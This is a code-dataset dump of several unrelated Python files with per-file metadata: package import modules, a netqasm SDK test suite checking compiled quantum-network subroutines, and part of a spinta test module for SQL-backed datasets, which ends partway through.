from abaqus_parse.writers import *
from abaqus_parse.readers import *
from abaqus_parse.generate_FE_input import *
from abaqus_parse.generate_MK_mesh import *
from abaqus_parse.write_MK_mesh import *
from abaqus_parse.save_model_response import *
from abaqus_parse.compute_forming_limit_curve import *
| 38.666667
| 54
| 0.864943
| 52
| 348
| 5.326923
| 0.384615
| 0.288809
| 0.433213
| 0.454874
| 0.404332
| 0.194946
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091954
| 348
| 9
| 54
| 38.666667
| 0.876582
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
5a0d9650fe0ece6d93d8beac72b0e2f1a545fa84
| 506
|
py
|
Python
|
allennlp/data/dataset_readers/dataset_utils/__init__.py
|
annaproxy/udify-metalearning
|
55206a3aac0aba74a3615a36192d03b6467cfd6f
|
[
"MIT"
] | 65
|
2020-11-13T05:36:29.000Z
|
2022-03-26T22:45:46.000Z
|
allennlp/data/dataset_readers/dataset_utils/__init__.py
|
annaproxy/udify-metalearning
|
55206a3aac0aba74a3615a36192d03b6467cfd6f
|
[
"MIT"
] | 11
|
2021-05-26T16:22:17.000Z
|
2022-03-02T04:03:18.000Z
|
allennlp/data/dataset_readers/dataset_utils/__init__.py
|
annaproxy/udify-metalearning
|
55206a3aac0aba74a3615a36192d03b6467cfd6f
|
[
"MIT"
] | 10
|
2019-12-06T11:32:37.000Z
|
2022-01-06T15:39:09.000Z
|
from allennlp.data.dataset_readers.dataset_utils.ontonotes import Ontonotes
from allennlp.data.dataset_readers.dataset_utils.ontonotes import OntonotesSentence
from allennlp.data.dataset_readers.dataset_utils.span_utils import enumerate_spans
from allennlp.data.dataset_readers.dataset_utils.span_utils import bio_tags_to_spans
from allennlp.data.dataset_readers.dataset_utils.span_utils import to_bioul, iob1_to_bioul
from allennlp.data.dataset_readers.dataset_utils.span_utils import bioul_tags_to_spans
| 72.285714
| 90
| 0.901186
| 75
| 506
| 5.733333
| 0.226667
| 0.167442
| 0.223256
| 0.32093
| 0.818605
| 0.818605
| 0.818605
| 0.818605
| 0.818605
| 0.553488
| 0
| 0.002079
| 0.049407
| 506
| 6
| 91
| 84.333333
| 0.891892
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
ce7fb9cbe635423d40bc781e69c4a58b99420943
| 157
|
py
|
Python
|
tests/reporting/report_builder/api.py
|
ctk3b/borderline
|
7c4ab891b36c97038940dea678718dea8ebf5060
|
[
"MIT"
] | null | null | null |
tests/reporting/report_builder/api.py
|
ctk3b/borderline
|
7c4ab891b36c97038940dea678718dea8ebf5060
|
[
"MIT"
] | 4
|
2021-09-17T00:53:47.000Z
|
2021-09-24T22:05:13.000Z
|
tests/reporting/report_builder/api.py
|
ctk3b/borderline
|
7c4ab891b36c97038940dea678718dea8ebf5060
|
[
"MIT"
] | null | null | null |
from reporting.review import this_is_a_violation
from reporting.review import this_is_a_grandfathered_violation
from reporting.report_builder import builder
| 39.25
| 62
| 0.904459
| 23
| 157
| 5.826087
| 0.478261
| 0.291045
| 0.283582
| 0.373134
| 0.477612
| 0.477612
| 0.477612
| 0
| 0
| 0
| 0
| 0
| 0.076433
| 157
| 3
| 63
| 52.333333
| 0.924138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
cea34814d992db60d95337832bbb867ce076c9f2
| 26,747
|
py
|
Python
|
tests/test_sdk/test_connection.py
|
QuTech-Delft/netqasm
|
954162542c441d5663ecb9a8801eab94efd4ef2e
|
[
"MIT"
] | 6
|
2021-11-10T15:03:59.000Z
|
2022-02-16T19:35:01.000Z
|
tests/test_sdk/test_connection.py
|
QuTech-Delft/netqasm
|
954162542c441d5663ecb9a8801eab94efd4ef2e
|
[
"MIT"
] | 13
|
2021-11-26T09:19:46.000Z
|
2022-03-29T09:21:42.000Z
|
tests/test_sdk/test_connection.py
|
QuTech-Delft/netqasm
|
954162542c441d5663ecb9a8801eab94efd4ef2e
|
[
"MIT"
] | 4
|
2021-11-19T15:46:17.000Z
|
2022-01-23T18:59:15.000Z
|
import logging
from netqasm.backend.messages import deserialize_host_msg as deserialize_message
from netqasm.backend.network_stack import CREATE_FIELDS
from netqasm.backend.network_stack import OK_FIELDS_K as OK_FIELDS
from netqasm.lang import instr as instructions
from netqasm.lang.encoding import RegisterName
from netqasm.lang.operand import Address, ArrayEntry, ArraySlice, Immediate, Register
from netqasm.lang.parsing import deserialize as deserialize_subroutine
from netqasm.lang.parsing.text import parse_text_subroutine
from netqasm.lang.subroutine import Subroutine
from netqasm.lang.version import NETQASM_VERSION
from netqasm.logging.glob import set_log_level
from netqasm.qlink_compat import EPRType, TimeUnit
from netqasm.sdk.connection import DebugConnection
from netqasm.sdk.epr_socket import EPRSocket
from netqasm.sdk.qubit import Qubit
DebugConnection.node_ids = {
"Alice": 0,
"Bob": 1,
}
def test_simple():
set_log_level(logging.DEBUG)
with DebugConnection("Alice") as alice:
q1 = Qubit(alice)
q2 = Qubit(alice)
q1.H()
q2.X()
q1.X()
q2.H()
# 4 messages: init, subroutine, stop app and stop backend
assert len(alice.storage) == 4
raw_subroutine = deserialize_message(raw=alice.storage[1]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
expected = Subroutine(
netqasm_version=NETQASM_VERSION,
app_id=0,
instructions=[
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(0),
),
instructions.core.QAllocInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.InitInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(1),
),
instructions.core.QAllocInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.InitInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(0),
),
instructions.vanilla.GateHInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(1),
),
instructions.vanilla.GateXInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(0),
),
instructions.vanilla.GateXInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(1),
),
instructions.vanilla.GateHInstruction(
reg=Register(RegisterName.Q, 0),
),
# NOTE qubits are now freed when application ends
# without explicit qfree for each
# Command(instruction=Instruction.SET, operands=[
# Register(RegisterName.Q, 0),
# 0,
# ]),
# Command(instruction=Instruction.QFREE, operands=[
# Register(RegisterName.Q, 0),
# ]),
# Command(instruction=Instruction.SET, operands=[
# Register(RegisterName.Q, 0),
# 1,
# ]),
# Command(instruction=Instruction.QFREE, operands=[
# Register(RegisterName.Q, 0),
# ]),
],
)
for instr, expected_instr in zip(subroutine.instructions, expected.instructions):
print(repr(instr))
print(repr(expected_instr))
assert instr == expected_instr
print(subroutine)
print(expected)
def test_rotations():
set_log_level(logging.DEBUG)
with DebugConnection("Alice") as alice:
q = Qubit(alice)
q.rot_X(n=1, d=1)
# 4 messages: init, subroutine, stop app and stop backend
assert len(alice.storage) == 4
raw_subroutine = deserialize_message(raw=alice.storage[1]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
expected = Subroutine(
netqasm_version=NETQASM_VERSION,
app_id=0,
instructions=[
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(0),
),
instructions.core.QAllocInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.InitInstruction(
reg=Register(RegisterName.Q, 0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.Q, 0),
imm=Immediate(0),
),
instructions.vanilla.RotXInstruction(
reg=Register(RegisterName.Q, 0),
imm0=Immediate(1),
imm1=Immediate(1),
),
],
)
for instr, expected_instr in zip(subroutine.instructions, expected.instructions):
print(repr(instr))
print(repr(expected_instr))
assert instr == expected_instr
print(subroutine)
print(expected)
def test_epr():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
q1 = epr_socket.create()[0]
q1.H()
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
print(subroutine)
expected_text = """
# NETQASM 0.0
# APPID 0
set R5 10
array R5 @0
set R5 1
array R5 @1
set R5 0
set R6 0
store R5 @1[R6]
set R5 20
array R5 @2
set R5 0
set R6 0
store R5 @2[R6]
set R5 1
set R6 1
store R5 @2[R6]
set R5 1
set R6 0
set R7 1
set R8 2
set R9 0
create_epr R5 R6 R7 R8 R9
set R5 0
set R6 10
wait_all @0[R5:R6]
set R2 0
set R5 1
beq R2 R5 50
load R0 @1[R2]
set R3 9
set R4 0
beq R4 R2 36
set R5 10
add R3 R3 R5
set R5 1
add R4 R4 R5
jmp 30
load R1 @0[R3]
set R5 1
bne R1 R5 40
rot_z R0 16 4
set R5 2
bne R1 R5 43
rot_x R0 16 4
set R5 3
bne R1 R5 47
rot_x R0 16 4
rot_z R0 16 4
set R5 1
add R2 R2 R5
jmp 25
set Q0 0
h Q0
ret_arr @0
ret_arr @1
ret_arr @2
"""
expected = parse_text_subroutine(expected_text)
for i, instr in enumerate(subroutine.instructions):
print(repr(instr))
expected_instr = expected.instructions[i]
print(repr(expected_instr))
print()
assert instr == expected_instr
print(subroutine)
print(expected)
def test_two_epr():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
qubits = epr_socket.create(number=2)
qubits[0].H()
qubits[1].H()
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
print(subroutine)
expected_text = """
# NETQASM 0.0
# APPID 0
set R5 20
array R5 @0
set R5 2
array R5 @1
set R5 0
set R6 0
store R5 @1[R6]
set R5 1
set R6 1
store R5 @1[R6]
set R5 20
array R5 @2
set R5 0
set R6 0
store R5 @2[R6]
set R5 2
set R6 1
store R5 @2[R6]
set R5 1
set R6 0
set R7 1
set R8 2
set R9 0
create_epr R5 R6 R7 R8 R9
set R5 0
set R6 20
wait_all @0[R5:R6]
set R2 0
set R5 2
beq R2 R5 53
load R0 @1[R2]
set R3 9
set R4 0
beq R4 R2 39
set R5 10
add R3 R3 R5
set R5 1
add R4 R4 R5
jmp 33
load R1 @0[R3]
set R5 1
bne R1 R5 43
rot_z R0 16 4
set R5 2
bne R1 R5 46
rot_x R0 16 4
set R5 3
bne R1 R5 50
rot_x R0 16 4
rot_z R0 16 4
set R5 1
add R2 R2 R5
jmp 28
set Q0 0
h Q0
set Q0 1
h Q0
ret_arr @0
ret_arr @1
ret_arr @2
"""
expected = parse_text_subroutine(expected_text)
for i, instr in enumerate(subroutine.instructions):
print(repr(instr))
expected_instr = expected.instructions[i]
print(repr(expected_instr))
assert instr == expected_instr
print(subroutine)
print(expected)
def test_epr_m():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
outcomes = epr_socket.create_measure()
m = outcomes[0].raw_measurement_outcome
with m.if_eq(0):
m.add(1)
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
print(subroutine)
expected = Subroutine(
netqasm_version=NETQASM_VERSION,
app_id=0,
instructions=[
# Arg array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(OK_FIELDS),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 1),
address=Address(0),
),
# ent info array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(CREATE_FIELDS),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 1),
address=Address(1),
),
# tp arg
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(0),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 1),
entry=ArrayEntry(1, index=Register(RegisterName.R, 2)),
),
# num pairs arg
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(1),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 1),
entry=ArrayEntry(1, index=Register(RegisterName.R, 2)),
),
# create cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 3),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 4),
imm=Immediate(0),
),
instructions.core.CreateEPRInstruction(
reg0=Register(RegisterName.R, 1),
reg1=Register(RegisterName.R, 2),
reg2=Register(RegisterName.C, 0),
reg3=Register(RegisterName.R, 3),
reg4=Register(RegisterName.R, 4),
),
# wait cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(OK_FIELDS),
),
instructions.core.WaitAllInstruction(
slice=ArraySlice(
address=Address(0),
start=Register(RegisterName.R, 1),
stop=Register(RegisterName.R, 2),
),
),
# if statement
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.LoadInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.BneInstruction(
reg0=Register(RegisterName.R, 0),
reg1=Register(RegisterName.R, 1),
imm=Immediate(28),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.LoadInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.AddInstruction(
reg0=Register(RegisterName.R, 0),
reg1=Register(RegisterName.R, 0),
reg2=Register(RegisterName.R, 1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
# return cmds
instructions.core.RetArrInstruction(
address=Address(0),
),
instructions.core.RetArrInstruction(
address=Address(1),
),
],
)
for i, instr in enumerate(subroutine.instructions):
print(repr(instr))
expected_instr = expected.instructions[i]
print(repr(expected_instr))
print()
assert instr == expected_instr
print(subroutine)
print(expected)
def test_epr_r_create():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
outcomes = epr_socket.create(tp=EPRType.R)
m = outcomes[0].raw_measurement_outcome
with m.if_eq(0):
m.add(1)
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
expected = Subroutine(
netqasm_version=NETQASM_VERSION,
app_id=0,
instructions=[
# Arg array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(OK_FIELDS),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 1),
address=Address(0),
),
# ent info array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(CREATE_FIELDS),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 1),
address=Address(1),
),
# tp arg
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2), # EPRType.R
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(0),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 1),
entry=ArrayEntry(1, index=Register(RegisterName.R, 2)),
),
# num pairs arg
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(1),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 1),
entry=ArrayEntry(1, index=Register(RegisterName.R, 2)),
),
# create cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 3),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 4),
imm=Immediate(0),
),
instructions.core.CreateEPRInstruction(
reg0=Register(RegisterName.R, 1),
reg1=Register(RegisterName.R, 2),
reg2=Register(RegisterName.C, 0),
reg3=Register(RegisterName.R, 3),
reg4=Register(RegisterName.R, 4),
),
# wait cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(OK_FIELDS),
),
instructions.core.WaitAllInstruction(
slice=ArraySlice(
address=Address(0),
start=Register(RegisterName.R, 1),
stop=Register(RegisterName.R, 2),
),
),
# if statement
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.LoadInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.BneInstruction(
reg0=Register(RegisterName.R, 0),
reg1=Register(RegisterName.R, 1),
imm=Immediate(28),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.LoadInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(1),
),
instructions.core.AddInstruction(
reg0=Register(RegisterName.R, 0),
reg1=Register(RegisterName.R, 0),
reg2=Register(RegisterName.R, 1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(2),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(
address=Address(0),
index=Register(RegisterName.R, 1),
),
),
# return cmds
instructions.core.RetArrInstruction(
address=Address(0),
),
instructions.core.RetArrInstruction(
address=Address(1),
),
],
)
for i, instr in enumerate(subroutine.instructions):
print(repr(instr))
expected_instr = expected.instructions[i]
print(repr(expected_instr))
print()
assert instr == expected_instr
print(f"subroutine: {subroutine}")
print(f"expected: {expected}")
def test_epr_r_receive():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
_ = epr_socket.recv(tp=EPRType.R)[0]
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
print(subroutine)
expected = Subroutine(
netqasm_version=NETQASM_VERSION,
app_id=0,
instructions=[
# Arg array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 0),
imm=Immediate(OK_FIELDS),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 0),
address=Address(0),
),
# Qubit address array
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 0),
imm=Immediate(1),
),
instructions.core.ArrayInstruction(
reg=Register(RegisterName.R, 0),
address=Address(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 0),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.StoreInstruction(
reg=Register(RegisterName.R, 0),
entry=ArrayEntry(1, index=Register(RegisterName.R, 1)),
),
# create cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 0),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 2),
imm=Immediate(1),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 3),
imm=Immediate(0),
),
instructions.core.RecvEPRInstruction(
reg0=Register(RegisterName.R, 0),
reg1=Register(RegisterName.R, 1),
reg2=Register(RegisterName.R, 2),
reg3=Register(RegisterName.R, 3),
),
# wait cmd
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 0),
imm=Immediate(0),
),
instructions.core.SetInstruction(
reg=Register(RegisterName.R, 1),
imm=Immediate(OK_FIELDS),
),
instructions.core.WaitAllInstruction(
slice=ArraySlice(
address=Address(0),
start=Register(RegisterName.R, 0),
stop=Register(RegisterName.R, 1),
),
),
instructions.core.RetArrInstruction(
address=Address(0),
),
instructions.core.RetArrInstruction(
address=Address(1),
),
],
)
for i, instr in enumerate(subroutine.instructions):
print(f"actual command: {repr(instr)}")
expected_instr = expected.instructions[i]
print(f"expected command: {repr(expected_instr)}")
print()
assert instr == expected_instr
print(f"actual: {subroutine}")
print(f"expected: {expected}")
def test_epr_max_time():
set_log_level(logging.DEBUG)
epr_socket = EPRSocket(remote_app_name="Bob")
with DebugConnection("Alice", epr_sockets=[epr_socket]) as alice:
q1 = epr_socket.create(time_unit=TimeUnit.MILLI_SECONDS, max_time=25)[0]
q1.H()
# 5 messages: init, open_epr_socket, subroutine, stop app and stop backend
assert len(alice.storage) == 5
raw_subroutine = deserialize_message(raw=alice.storage[2]).subroutine
subroutine = deserialize_subroutine(raw_subroutine)
print(subroutine)
expected_text = """
# NETQASM 0.0
# APPID 0
set R5 10
array R5 @0
set R5 1
array R5 @1
set R5 0
set R6 0
store R5 @1[R6]
set R5 20
array R5 @2
set R5 0
set R6 0
store R5 @2[R6]
set R5 1
set R6 1
store R5 @2[R6]
set R5 1
set R6 5
store R5 @2[R6]
set R5 25
set R6 6
store R5 @2[R6]
set R5 1
set R6 0
set R7 1
set R8 2
set R9 0
create_epr R5 R6 R7 R8 R9
set R5 0
set R6 10
wait_all @0[R5:R6]
set R2 0
set R5 1
beq R2 R5 56
load R0 @1[R2]
set R3 9
set R4 0
beq R4 R2 42
set R5 10
add R3 R3 R5
set R5 1
add R4 R4 R5
jmp 36
load R1 @0[R3]
set R5 1
bne R1 R5 46
rot_z R0 16 4
set R5 2
bne R1 R5 49
rot_x R0 16 4
set R5 3
bne R1 R5 53
rot_x R0 16 4
rot_z R0 16 4
set R5 1
add R2 R2 R5
jmp 31
set Q0 0
h Q0
ret_arr @0
ret_arr @1
ret_arr @2
"""
expected = parse_text_subroutine(expected_text)
for i, instr in enumerate(subroutine.instructions):
print(repr(instr))
expected_instr = expected.instructions[i]
print(repr(expected_instr))
assert instr == expected_instr
print(subroutine)
print(expected)
if __name__ == "__main__":
test_simple()
test_rotations()
test_epr()
test_two_epr()
test_epr_m()
test_epr_r_create()
test_epr_r_receive()
test_epr_max_time()
| 29.951848
| 85
| 0.558941
| 2,874
| 26,747
| 5.114127
| 0.074461
| 0.170091
| 0.142877
| 0.099605
| 0.911348
| 0.904341
| 0.896925
| 0.895088
| 0.882161
| 0.863859
| 0
| 0.042269
| 0.345459
| 26,747
| 892
| 86
| 29.985426
| 0.797281
| 0.045949
| 0
| 0.886108
| 0
| 0
| 0.089549
| 0.000864
| 0
| 0
| 0
| 0
| 0.020025
| 1
| 0.010013
| false
| 0
| 0.020025
| 0
| 0.030038
| 0.051314
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0c6e4bf157ad0917d629db14f8a836c680db2c21
| 102,151
|
py
|
Python
|
tests/datasets/test_sql.py
|
atviriduomenys/spinta
|
77a10e201f8cdc63143fce7996fd0898acb1ff58
|
[
"MIT"
] | 2
|
2019-03-14T06:41:14.000Z
|
2019-03-26T11:48:14.000Z
|
tests/datasets/test_sql.py
|
sirex/spinta
|
77a10e201f8cdc63143fce7996fd0898acb1ff58
|
[
"MIT"
] | 44
|
2019-04-05T15:52:45.000Z
|
2022-03-30T07:41:33.000Z
|
tests/datasets/test_sql.py
|
sirex/spinta
|
77a10e201f8cdc63143fce7996fd0898acb1ff58
|
[
"MIT"
] | 1
|
2019-04-01T09:54:27.000Z
|
2019-04-01T09:54:27.000Z
|
import logging
import pathlib
import re
from typing import Dict
from typing import Tuple
import pytest
import sqlalchemy as sa
from _pytest.logging import LogCaptureFixture
from requests import PreparedRequest
from responses import POST
from responses import RequestsMock
from spinta.client import add_client_credentials
from spinta.core.config import RawConfig
from spinta.testing.cli import SpintaCliRunner
from spinta.testing.data import listdata
from spinta.testing.client import create_test_client
from spinta.testing.context import create_test_context
from spinta.testing.datasets import Sqlite
from spinta.testing.datasets import create_sqlite_db
from spinta.manifests.tabular.helpers import striptable
from spinta.testing.tabular import create_tabular_manifest
from spinta.testing.utils import error
from spinta.testing.client import create_remote_server
from spinta.utils.schema import NA
@pytest.fixture(scope='module')
def geodb():
with create_sqlite_db({
'salis': [
sa.Column('id', sa.Integer, primary_key=True),
sa.Column('kodas', sa.Text),
sa.Column('pavadinimas', sa.Text),
],
'miestas': [
sa.Column('id', sa.Integer, primary_key=True),
sa.Column('pavadinimas', sa.Text),
sa.Column('salis', sa.Text),
],
}) as db:
db.write('salis', [
{'kodas': 'lt', 'pavadinimas': 'Lietuva'},
{'kodas': 'lv', 'pavadinimas': 'Latvija'},
{'kodas': 'ee', 'pavadinimas': 'Estija'},
])
db.write('miestas', [
{'salis': 'lt', 'pavadinimas': 'Vilnius'},
{'salis': 'lv', 'pavadinimas': 'Ryga'},
{'salis': 'ee', 'pavadinimas': 'Talinas'},
])
yield db
def create_rc(rc: RawConfig, tmpdir: pathlib.Path, db: Sqlite) -> RawConfig:
return rc.fork({
'manifests': {
'default': {
'type': 'tabular',
'path': str(tmpdir / 'manifest.csv'),
'backend': 'sql',
'keymap': 'default',
},
},
'backends': {
'sql': {
'type': 'sql',
'dsn': db.dsn,
},
},
# tests/config/clients/3388ea36-4a4f-4821-900a-b574c8829d52.yml
'default_auth_client': '3388ea36-4a4f-4821-900a-b574c8829d52',
})
def configure_remote_server(
cli,
local_rc: RawConfig,
rc: RawConfig,
tmpdir: pathlib.Path,
responses,
):
cli.invoke(local_rc, [
'copy',
'--no-source',
'--access', 'open',
'-o', tmpdir / 'remote.csv',
tmpdir / 'manifest.csv',
])
# Create remote server with PostgreSQL backend
tmpdir = pathlib.Path(tmpdir)
remote_rc = rc.fork({
'manifests': {
'default': {
'type': 'tabular',
'path': str(tmpdir / 'remote.csv'),
'backend': 'default',
},
},
'backends': ['default'],
})
return create_remote_server(
remote_rc,
tmpdir,
responses,
scopes=['spinta_set_meta_fields', 'spinta_upsert'],
credsfile=True,
)
def create_client(rc: RawConfig, tmpdir: pathlib.Path, geodb: Sqlite):
rc = create_rc(rc, tmpdir, geodb)
context = create_test_context(rc)
return create_test_client(context)
def test_filter(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code='lt' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert listdata(resp, 'code', 'name') == [
('lt', 'Lietuva'),
]
